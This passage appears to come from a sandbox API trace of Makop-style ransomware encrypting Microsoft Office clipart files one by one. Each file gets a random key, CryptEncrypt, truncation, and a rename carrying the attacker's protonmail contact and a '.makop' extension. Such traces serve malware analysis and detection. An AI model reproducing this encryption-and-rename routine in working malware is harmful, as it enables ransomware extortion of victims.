lpNumberOfBytesWritten=0x6577aa8*=0x10e0, lpOverlapped=0x0) returned 1 [0119.444] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.444] SetEndOfFile (hFile=0xf0) returned 1 [0119.451] GetProcessHeap () returned 0x48a0000 [0119.451] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.451] GetProcessHeap () returned 0x48a0000 [0119.451] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.451] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.454] CloseHandle (hObject=0xf0) returned 1 [0119.454] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0119.454] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0119.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.458] GetProcessHeap () returned 0x48a0000 [0119.459] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.459] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.459] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.463] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.463] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.463] GetProcessHeap () returned 0x48a0000 [0119.463] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.463] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.463] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.463] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.465] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.465] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.465] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7e4, lpOverlapped=0x0) returned 1 [0119.465] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f0) returned 1 [0119.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7f0, lpOverlapped=0x0) returned 1 [0119.465] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.465] SetEndOfFile (hFile=0xf0) returned 1 [0119.472] GetProcessHeap () returned 0x48a0000 [0119.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.472] GetProcessHeap () returned 0x48a0000 [0119.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.472] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.474] CloseHandle (hObject=0xf0) returned 1 [0119.474] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0119.474] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0119.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.475] GetProcessHeap () returned 0x48a0000 [0119.475] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.475] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.480] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.480] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.480] GetProcessHeap () returned 0x48a0000 [0119.481] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.481] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.481] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.481] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.481] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.481] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.481] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.482] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.482] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.482] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f38, lpOverlapped=0x0) returned 1 [0119.484] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40) returned 1 [0119.484] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.484] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f40, lpOverlapped=0x0) returned 1 [0119.484] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.484] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.484] SetEndOfFile (hFile=0xf0) returned 1 [0119.491] GetProcessHeap () returned 0x48a0000 [0119.491] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.491] GetProcessHeap () returned 0x48a0000 [0119.491] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.491] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.492] CloseHandle (hObject=0xf0) returned 1 [0119.492] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0119.493] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0119.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.494] GetProcessHeap () returned 0x48a0000 [0119.494] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.494] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.494] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.494] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.498] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.498] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.498] GetProcessHeap () returned 0x48a0000 [0119.498] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.498] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.498] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.498] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.499] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.499] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.499] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.499] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.499] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.500] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.500] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x290c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x290c, lpOverlapped=0x0) returned 1 [0119.501] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2910, dwBufLen=0x2910 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2910) returned 1 [0119.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.502] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2910, lpOverlapped=0x0) returned 1 [0119.502] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.502] SetEndOfFile (hFile=0xf0) returned 1 [0119.510] GetProcessHeap () returned 0x48a0000 [0119.510] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.510] GetProcessHeap () returned 0x48a0000 [0119.510] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.510] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.511] CloseHandle (hObject=0xf0) returned 1 [0119.511] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0119.512] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0119.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.512] GetProcessHeap () returned 0x48a0000 [0119.512] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.512] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.517] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.517] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.517] GetProcessHeap () returned 0x48a0000 [0119.517] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.517] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.517] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.517] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.518] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.518] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.518] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.519] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb54, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 